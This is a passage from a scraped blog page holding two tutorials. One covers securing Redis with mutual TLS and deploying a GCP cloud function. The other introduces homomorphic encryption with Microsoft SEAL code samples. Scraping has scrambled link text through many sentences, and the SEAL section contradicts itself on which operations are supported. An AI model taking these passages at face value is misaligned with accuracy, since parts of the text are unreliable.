communicated. This is called an mTLS handshake. It is slightly more complicated in reality, but it is the same in principle: Generating the Certificates The first step to a TLS connection is to have a certificate for the server and the client, both of which are signed by a CA. I don’t want to purchase a certificate so I will generate my own CA certificate, which is not trusted in the wild, so I will need to tell the server and client to accept all certificates issued by this CA. Create the root CA key and certificate -- this will be implicitly trusted by both client and server Create a new private key for the root CA (optionally encrypt it with AES 256) openssl genrsa -aes256 -out ca.key 4096 Create the certificate valid for 10 years signed by this private key openssl req -new -x509 -days 3650 -key ca.key -out ca.crt Create the client certificate signed by the root CA Generate a new private key for the client (same command as 1a) openssl genrsa -aes256 -out client.key 2048 Create a certificate signing request, which contains the parameters the certificate will be created with openssl req -new -key client.key -out client.csr Create the certificate signed by the CA openssl x509 -req -days 3650 -in client.csr -CA ca.crt -CAkey ca.key -out client.crt -CAcreateserial Create the server certificate signed by the root CA Generate a new private key for the server (same command as 1a) openssl genrsa -aes256 -out server.key 2048 Create a certificate signing request (it is customary to use the server IP address when prompted for ) Common Name openssl req -new -key server.key -out server.csr Create a certificate signed by the CA openssl x509 -req -days 3650 -in server.csr -CA ca.crt -CAkey ca.key -out server.crt Setting up Redis with the certificates Using the certificates, let’s make these changes to Redis config: Enable TLS, disable the TCP port Add server certificate, server key Add CA certificate Enforce clients to be authenticated Update the file with these settings (here is the ): /etc/redis/redis.conf full config port 0
tls-port 12345

# server certificate and key:
tls-cert-file /home/mourjo/certs/server.crt
tls-key-file  /home/mourjo/certs/server.key

# the key file is encrypted, so add the password
tls-key-file-pass thisisredacted

# the CA certificate
tls-ca-cert-file /home/mourjo/certs/ca.crt

# make client authentication mandatory
tls-auth-clients yes Starting the server should show the following logs sudo systemctl start redis
tail /var/log/redis/redis-server.log 148924:M 27 Jan 2023 04:16:10.675 # Server initialized
...
148924:M 27 Jan 2023 04:16:10.676 * Ready to accept connections I can verify using OpenSSL’s that signed by my CA: s_client Redis does not accept a client that does not have a valid certificate # without any certificate
openssl s_client -state  -connect 35.209.163.139:11219 -servername 35.209.163.139 8610505984:error:1404C45C:SSL routines:ST_OK:reason(1116):/AppleInternal/Library/BuildRoots/810eba08-405a-11ed-86e9-6af958a02716/Library/Caches/com.apple.xbs/Sources/libressl/libressl-3.3/ssl/tls13_lib.c:129:SSL alert number 116 # with a certificate not signed by the CA
openssl s_client -state -cert random.crt -key random.key -connect <ip-address>:<port> -servername <ip-address> 8610505984:error:1404C418:SSL routines:ST_OK:tlsv1 alert unknown ca:/AppleInternal/Library/BuildRoots/810eba08-405a-11ed-86e9-6af958a02716/Library/Caches/com.apple.xbs/Sources/libressl/libressl-3.3/ssl/tls13_lib.c:129:SSL alert number 48 I can verify the SSL connection works when passing the right certificate: openssl s_client -state -cert client.crt -key client.key -connect <ip-address>:<port> -servername <ip-address> This should print out the necessary information about the server and security and also allow us to run Redis commands (because is human-readable): the Redis protocol Enter pass phrase for certprac/client.key:
CONNECTED(00000003)
depth=1 C = IN, ST = WB, L = Kolkata, O = mourjo.me, emailAddress = hello@mourjo.me
verify error:num=19:self signed certificate in certificate chain
verify return:0
write W BLOCK
---
Certificate chain
 0 s:/C=IN/ST=WB/L=Kolkata/CN=35.209.163.139/emailAddress=hello@mourjo.me
   i:/C=IN/ST=WB/L=Kolkata/O=mourjo.me/emailAddress=hello@mourjo.me
 1 s:/C=IN/ST=WB/L=Kolkata/O=mourjo.me/emailAddress=hello@mourjo.me
   i:/C=IN/ST=WB/L=Kolkata/O=mourjo.me/emailAddress=hello@mourjo.me
---
Server certificate
-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
subject=/C=IN/ST=WB/L=Kolkata/CN=35.209.163.139/emailAddress=hello@mourjo.me
issuer=/C=IN/ST=WB/L=Kolkata/O=mourjo.me/emailAddress=hello@mourjo.me
---
No client certificate CA names sent
Server Temp Key: ECDH, X25519, 253 bits
---
SSL handshake has read 3049 bytes and written 1768 bytes
---
New, TLSv1/SSLv3, Cipher is AEAD-CHACHA20-POLY1305-SHA256
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : AEAD-CHACHA20-POLY1305-SHA256
    Session-ID:
    Session-ID-ctx:
    Master-Key:
    Start Time: 1674968406
    Timeout   : 7200 (sec)
    Verify return code: 19 (self signed certificate in certificate chain)
---
read R BLOCK
read R BLOCK
AUTH SMASH-workaday-sully
+OK
PING
+PONG
SET a b
+OK
GET a
$1
b
^C I can also verify the SSL settings using an online tool like which reports that the SSL connection is set correctly, but issued by a CA that is not widely trusted in the world because I am using a CA who only I know. sslshopper Let us now connect using the Redis command-line client from outside the instance, passing the client certificate: redis-cli redis-cli -p 11219 --tls --cert client.crt --key client.key --cacert ca.crt

Enter PEM pass phrase:
127.0.0.1:11219> auth thishasbeenredacted
OK
127.0.0.1:11219> set xyz abc
OK
127.0.0.1:11219> get abc Redis is now working on TLS over the internet! 🎉 Client Implementation I have set up the Redis server and it works with the default client but I want to build a simple backend using Redis: redis-cli Allow a user to use their username -- authentication is out of scope for this post Keep track of active users for 10 minutes and purge inactive users Allow a maximum of 100 users at a time I will deploy an HTTP cloud function that stores and communicates with the Redis server. The backend code is written in Java using the popular for communicating with Redis. Jedis library The business logic is fairly simple, every time I get a new user, I check the limit of 100 users, purge inactive users and store the current user in a with the current timestamp. sorted set double timeoutMillis = 10 * 60 * 1000D;
int MAX_USERS = 100;

// connect with TLS, pass connect timeout and socket timeout of 10 sec
try (Jedis jedis = new Jedis(host, port, 10_000, 10_000, true)) {
    jedis.auth(redisPassword);

    // purge old users
    jedis.zremrangeByScore("recent_users", Double.NEGATIVE_INFINITY, System.currentTimeMillis() - timeoutMillis);

    // ensure that there only 100 users at max
    var total_users = jedis.zcount("recent_users", Double.NEGATIVE_INFINITY, Double.POSITIVE_INFINITY);
    if (total_users >= MAX_USERS) {
        throw new TooManyUsersException(total_users);
    }

    // add the current user to the sorted set with the timestamp
    jedis.zadd("recent_users", (double) System.currentTimeMillis(), user);

    // return a list of active users
    var activeUsers = jedis.zrangeWithScores("recent_users", 0, System.currentTimeMillis());
    Collections.reverse(activeUsers);
    return activeUsers;
} The rest of the client code uses the for cloud functions which wrap around the above business logic to respond to incoming requests. Java SDK The full repository is available . here Adding client certificates to Java Keystore The above code snippet although my Redis server only accepts TLS connections from clients that are trusted via my CA. This is as per the : , which ships directly with the JDK installation. So the client code while setting up the TLS connection transparently uses the certificates present in these protected files. makes no mention of certificates Java Cryptography Architecture (JCA) credentials/certificates are stored in password-protected files managed by the CLI utility keytool But before I start importing my certificates with , keytool I need to convert my certificates from the PEM format (which is the Linux default) to the PKCS12 format. Convert the CA root certificate to the format: PKCS12 openssl pkcs12 -export -in ca.crt -inkey ca.key -out ca.p12 Convert the client certificate (note that the key needs to be included in the p12 file): openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12 As per common practice, will create two files with : one called the and the other . keytool keystore truststore The will store , that is the client’s private key and the client’s certificate that will allow us to prove to the Redis server that the client should be allowed to connect. keystore the keys/certificates the client needs to identify itself keytool -importkeystore -noprompt  -srckeystore client.p12 -srcstoretype PKCS12 -destkeystore keystore.jks -deststoretype PKCS12 The will , that is the root CA’s certificate. truststore store the certificates the client will implicitly trust With this, when the server sends its certificate, the client will know that it can trust the server. The will have my CA certificate: truststore keytool -importkeystore -noprompt -srckeystore ca.p12 -srcstoretype PKCS12 -destkeystore truststore.jks -deststoretype PKCS12 Announce to the JVM where it should look for credentials/certificates and set the following options either as CLI options or load them in the code: System.setProperty("javax.net.ssl.keyStorePassword", "redacted"); // decryption password used while generating the keystore:
System.setProperty("javax.net.ssl.keyStore", "keystore.jks");
System.setProperty("javax.net.ssl.keyStoreType", "PKCS12");

System.setProperty("javax.net.ssl.trustStorePassword", "redacted"); // decryption password used while generating the truststore
System.setProperty("javax.net.ssl.trustStore", "truststore.p12");
System.setProperty("javax.net.ssl.trustStoreType", "PKCS12"); If all goes well, the following should return a from Redis server: PONG try (Jedis jedis = new Jedis(host, port, true)) {
  jedis.auth("theredispassword");
  System.out.println(jedis.ping());
} Secret Storage The client code should now be able to access Redis. But before deploying this to a cloud function, I need to instead of having them hovering all over the codebase or via unencrypted environment variables. safely store secrets To do this, I will use GCP’s to store the following secrets: secret manager : The text password for authenticating with Redis JIBBER_REDIS_PASSWORD : The keystore  file generated by above JIBBER_KEYSTORE keytool : The text password used to decrypt the keystore file JIBBER_KEYSTORE_PASSWORD : The truststore file generated by above JIBBER_TRUSTSTORE keytool : The text password used to decrypt the truststore file JIBBER_TRUSTSTORE_PASSWORD I need to also make sure that my cloud function has access to these secrets. I can do this by giving my default service account permission to read these secrets. I have to allow my service account to have the permission. Secret Manager Secret Accessor Deploying the Cloud Function In addition to the secrets, I also need to set a few environment variables (which are not secretive): Redis host and port Keystore and trust store locations The final command to deploy to cloud functions with secrets and environment variables looks like this: gcloud functions deploy jibber-function  \
  --entry-point me.mourjo.functions.Hello \
  --runtime java17 \
  --trigger-http \
  --allow-unauthenticated \
  --set-secrets '/etc/keystore:/keystore=JIBBER_KEYSTORE:1,/etc/truststore:/truststore=JIBBER_TRUSTSTORE:1,TRUSTSTORE_PASS=JIBBER_TRUSTSTORE_PASSWORD:1,KEYSTORE_PASS=JIBBER_KEYSTORE_PASSWORD:1,REDIS_PASSWORD=JIBBER_REDIS_PASSWORD:1' \
  --set-env-vars 'REDIS_HOST=1.1.1.1,REDIS_PORT=12345,KEYSTORE_LOCATION=/etc/keystore/keystore,TRUSTSTORE_LOCATION=/etc/truststore/truststore' Deploying the code to my cloud function should now work! 🎉 Conclusion In this post, I covered the foundations of the chat web app by setting up a GCP Cloud Function that triggers via HTTP and communicates over the internet via a secure connection with Redis -- . all of which is part of GCP’s free tier This cost-efficient infrastructure comes with caveats: This is partly due to the Cloud function and partly due to the encrypted connection to Redis over the internet instead of the local network The endpoint is slow: Any data written to Redis is not backed up and there is no secondary Redis instance that might fill in if the compute instance goes down. Redis is not failsafe: pelican In the next post, I will write a browser-based client that can communicate with this cloud function to establish a user session and then hand it over to a WebSocket server based on Cloud Run. Stay tuned!

Building a Secure Web Chat With Redis, mTLS and GCP

While full homomorphic encryption (FHE) was originally achieved in 2009, it's starting to receive more attention now that computing power has caught up to its computational demands; however, the goal of homomorphic encryption goes back a decade. A cursory search will find multiple definitions for it. This is the most direct and succinct: A form of encryption that allows computation on ciphertexts generating an encrypted result that, when decrypted, matches the result of the operations as if they had been performed on plaintext. — Massimo Bertaccini ( ) Cryptography Algorithms Consider that statement for a moment. Homomorphic encryption enables operations to be performed on encrypted values such that the decrypted results produce the result of the operations as though they were performed on the original unencrypted values. The earliest mention I found is (1978) in which the authors are attempting to prevent sensitive financial data stored in an on-premise system from being accessed by system programmers using a remote time-sharing service. On Data Banks and Privacy Homomorphisms Sensitive financial data is stored in the data bank. Time-sharing services that compute the data do not implement adequate security. System programmers have access to financial data. The paper states: Use a special privacy homomorphism to encrypt its data so that the time-share computer can operate on the data without the necessity of decrypting it first. To put it another way, I want to delete the of my data without giving away to it. processing access To put it another yet another way, function(A, B) = function (A ) where A are encrypted values of A and B, respectively. This enables third parties to compute encrypted data and provide the results without having any knowledge of the original value. With RSA, two values encrypted with the same key can be multiplied, and the product can be decrypted yielding the product of the encrypted values. , B &nbsp;and B Obtain 5_6 using RSA(5)_ RSA(6): RSA(5) = (5^17) mod 3233 = 3096 RSA(6) = (6^17) mod 3233 = 824 3096*824 = 254864 RSA^-1(254864) = 254864^2753 (mod 3233) = 30 5*6 = 30 However, this does not work for addition. RSA is a Partially Homomorphic Encryption (PHE) scheme in that it supports only multiplication. The timeline below shows the progression from (PHE) schemes through Somewhat Homomorphic Encryption (SHWE) which permits limited combinations of addition and multiplication. These operations could be repeated up to five times before reaching an invalid result. Then along came the first FHE scheme from which enabled repeated addition and multiplication without fidelity loss. Craig Gentry Homomorphic Encryption Libraries Since 2009, FHE schemes and libraries have proliferated. Library Schemes Language License Microsoft SEAL BFV, BGV, CKKS C++/C# Wrapper MIT Open FHE BFV, BGV, CKKS, DM, CGGI C++ BSD 2-Clause License HEAAN CKKS C++ Creative Commons 3.0 TFHE TFHE (Torus) Rust BSD-3-Clause-Clear Concrete TFHE Rust BSD-3-Clause-Clear Lattigo BFV, BGV, CKKS Go Apache 2.0 Intel Homomorphic Encryption Toolkit N/A – Uses SEAL, PALISADE, HLib Python,Docker Apache 2.0 Microsoft SEAL (Simple Encrypted Arithmetic Library) is developed in C++ 17 along with a C# wrapper. Originally released in 2015, it is still under active development. The includes that should be explored if you are interested in diving further. github repo in-depth C# examples These schemes are supported by SEAL and include homomorphic operations for addition, division, subtractions, and exponentiation, but not division. Brakerski-Gentry-Vaikuntanathan (BGV)/Fan-Vercauteren (BFV) Whole numbers (long) Use if precision is a requirement Computation is slower than CKKS Values encrypted with BGV can be used with values encrypted with BFV Values encrypted with BGV/BVF cannot be used with values encrypted with CKKS Revisiting Homomorphic Encryption Schemes for Finite Fields Cheon-Kim-Kim-Song (CKKS) Floating points (double) Use if precision is not required Values encrypted with CKKS cannot be used with values encrypted with BGV/BFV Computation is faster than BFV/BGF Encryption and Computation with Microsoft SEAL These examples use the Nuget package and the CKKS scheme. Health trackers, like FitBit and AppleHeath, require giving up some privacy. They collect personal information like the number of steps and geocoordinates of the wearer's movements, heartbeat frequency, and other vital statistics. With homomorphic encryption, these health metric aggregators can still operate on our data without having access to the raw data. Microsoft.Research.SEALNet In this simple example, the client sends run metrics including distance and time. The server aggregates the encrypted data and computes the average speed. To get started, a public key is created by the client and shared with the server. It is used to encrypt data and also to perform arithmetic operations on encrypted data. Both client and server use an The client generates and retains a private key used for decryption used by the aptly named . Encryptor. Decryptor A malicious party that intercepts the data could use the public key on the encrypted data and return it to the caller by spoofing the server. The server should sign the result and the client should verify the signature to ensure it's being returned from a trusted party. using Microsoft.Research.SEAL;
protected SEALContext _context;
private KeyGenerator _keyGenerator;
private Encryptor _encryptor;
private Decryptor _decryptor;
protected IFitnessTrackerApiClient _apiClient;
. . .
_context = SEALUtils.GetContext(_config.Value.PolyModulusDegree, this.SchemeType);

_keyGenerator = new KeyGenerator(_context);

_keyGenerator.CreatePublicKey(out PublicKey publicKey);
_keyGenerator.CreateRelinKeys(out RelinKeys relinKeys);

_encryptor = new Encryptor(_context, _publicKey);
_decryptor = new Decryptor(_context, _keyGenerator.SecretKey);
. . .
PublicKeyModelCKKS keyModelCKKS = new(
  SEALUtils.KeyToBase64String(_publicKey), 
  SEALUtils.KeyToBase64String(relinKeys));
    await _apiClient.SendPublicKeyCKKSAsync(keyModelCKKS); Relinearization keys are passed from client to server. Per Microsoft SEAL, they have no semantic meaning other than to reduce the size of following a multiplication operation. Ciphertext At the command line, the user enters time and distance. Each value is encoded to then encrypted to , and finally encoded to base64 prior to sending it to the server. PlainText, Ciphertext using Microsoft.Research.SEAL;
var plaintext = new Plaintext();
_encoder.Encode(value, _scale, plaintext);

var ciphertext = new Ciphertext();
_encryptor.Encrypt(value, ciphertext);

using (var ms = new MemoryStream())
{
  ciphertext.Save(ms);
  return Convert.ToBase64String(ms.ToArray());
} Since homomorphic encryption schemes don't support division (CKKS is no exception), the client needs to give the server an assist. The formula for speed is: distance/time Another way to write it is, distance * (1/time) So, the client sends: RunItemCKKS metricsRequest = new(
  EncryptBase64(runItem.Distance), 
  EncryptBase64(runItem.Time), 
  EncryptBase64(1 / runItem.Time));

await _apiClient.AddNewRunningDistanceCKKSAsync(metricsRequest); The server performs a similar bootstrapping function creating a using only the public key and re-linearization keys, then processes the request: SEALContext var distance = SEALUtils.BuildCiphertextFromBase64String(request.Distance, _sealContext);
var time = SEALUtils.BuildCiphertextFromBase64String(request.Time, _sealContext);
var timeReciprocal = SEALUtils.BuildCiphertextFromBase64String(request.TimeReciprocal, _sealContext);
Ciphertext speed = new();

_evaluator.Multiply(distance, timeReciprocal, speed);
_evaluator.RelinearizeInplace(speed, _relinKeys);

_runListCKKS.Add(new EncryptedRunInfoCKKS(distance, time, speed)); A reciprocal of the time is used to calculate the speed for the submitted run and the method reduces the size of the resulting Distance, time, and speed are saved to an in-memory RelinearizeInplace Ciphertext. List. The method aggregates the list and returns: GetMetrics total number of runs total distance total time average speed public SummaryItemCKKS GetMetrics()
{
int count = _runListCKKS.Count;

var totalDistanceCKKS = SumEncryptedValues(_runListCKKS.Select(m => m.Distance));
var totalTimeCKKS = SumEncryptedValues(_runListCKKS.Select(m => m.Time));
var totalSpeed = SumEncryptedValues(_runListCKKS.Select(m => m.Speed));
. . .
protected Ciphertext SumEncryptedValues(IEnumerable<Ciphertext> encryptedData)
{
. . .
Ciphertext encTotal = new();
_evaluator.AddMany(encryptedData, encTotal);
return encTotal;
. . .
} To get the average speed, the reciprocal of the count is used, so rather than using: (sum of speed)/number or runs we use: (sum of speed) * (1/number of runs) Since the server keeps track of the number of run submissions, the total number of runs is not an encrypted value. That unencrypted value can be converted to and used in an operation performed on While this is a simple example, the implications are worth noting. The server can provide additional values used on encrypted data enabling third-party providers to apply proprietary data to computations against customer-provided encrypted data. Plaintext Ciphertext. In the example below, the total count is converted to a reciprocal and added to a CKKS operations expect encrypted list values, even if the list only contains a single value. So, the is encoded to a . The multiplies totalSpeed by (1/number of runs) resulting in the average speed. To conserve space, the result is applied to the totalSpeed and the re-linearization keys reduce the size of the output. List<double>. List<double> PlainText MultiplyPlainInplace Ciphertext Plaintext encodedCountReciprocal = new();
List<double> averagePaceList = new();
double runCountReciprocal = 1 / (double)count;
averagePaceList.Add(runCountReciprocal);
_encoder.Encode(averagePaceList, _scale, encodedCountReciprocal);
        
_evaluator.MultiplyPlainInplace(totalSpeed, encodedCountReciprocal);
_evaluator.RelinearizeInplace(totalSpeed, _relinKeys); The values are base64 encoded, returned, and decrypted on the client. The client takes the additional step of converting decrypted to . Plaintext List<double> var payload = Convert.FromBase64String(encryptedDistanceText);

using var ms = new MemoryStream(payload);
var ciphertext = new Ciphertext();
ciphertext.Load(_context, ms);

var decryptedText = new Plaintext();
_decryptor.Decrypt(cypherText, decryptedText);

List<double> distanceList = new();
_encoder.Decode(decryptedText, distanceList); Sending the following values yields totals and the average pace calculated by a service that tabulated the total and average without decrypting data sent from the client. Miles Time 2.5 0:35:32.643 2.2 0:32:48.826 2.8 0:34:52.036 The server computes the data and returns the total runs, distance, time, and pace without decrypting any of the data sent. Summary Microsoft SEAL is a Microsoft Research project and is not ready for a production application. All classes implement and used unmanaged resources. Production code would need to protect against a memory leak. The class does not follow the single responsibility principle. It includes methods for both BGV/BVF and CKKS. Further, CKKS supports vector operations, but not vector addition. A single can be encrypted to a single but there is no means of summing the values in a single It can be done with , but that is a suboptimal solution. IDisposable SEALContext List<double> CipherText CipherText. vector rotation This Fitness Tracker code sample is a simple introduction to a complex topic.  There are a number of compelling use cases with more involved logic: Gene marker detection Biometric template protection Secure human monitoring for aging in place Credit card fraud detection Homomorphic encryption has largely been used in academia and in prototypes. Practical applications have been limited by the computing power required by homomorphic encryption schemes. GPU acceleration and ASIC processors will continue to erode this barrier. Intel is developing the , purpose-built for homomorphic encrypt schemes, in collaboration with Microsoft and DARPA. NASDAQ is also funding with machine learning for fraud detection. The FHE.org community is an excellent resource for the most current developments in this space. It has an active . FHE Hardware Accelerator an R&D project using homomorphic encryption Discord server All code samples in this article are available at . For more in-depth Microsoft SEAL example, see these . johniwasz/microsoft-seal-samples .NET examples Also published here.

Microsoft SEAL and the Dawn of Homomorphic Encryption 

Microsoft SEAL y el amanecer del cifrado homomórfico

Microsoft SEAL et l'aube du chiffrement homomorphe

Microsoft SEAL और होमोमोर्फिक एन्क्रिप्शन का डॉन

Microsoft SEAL と準同型暗号の夜明け

Microsoft SEAL e o surgimento da criptografia homomórfica

Microsoft SEAL và Bình minh của Mã hóa Đồng hình

Microsoft SEAL 和同态加密的黎明

Stories, News & Mentions about KEYTOS

Keytos’s Stories on HackerNoon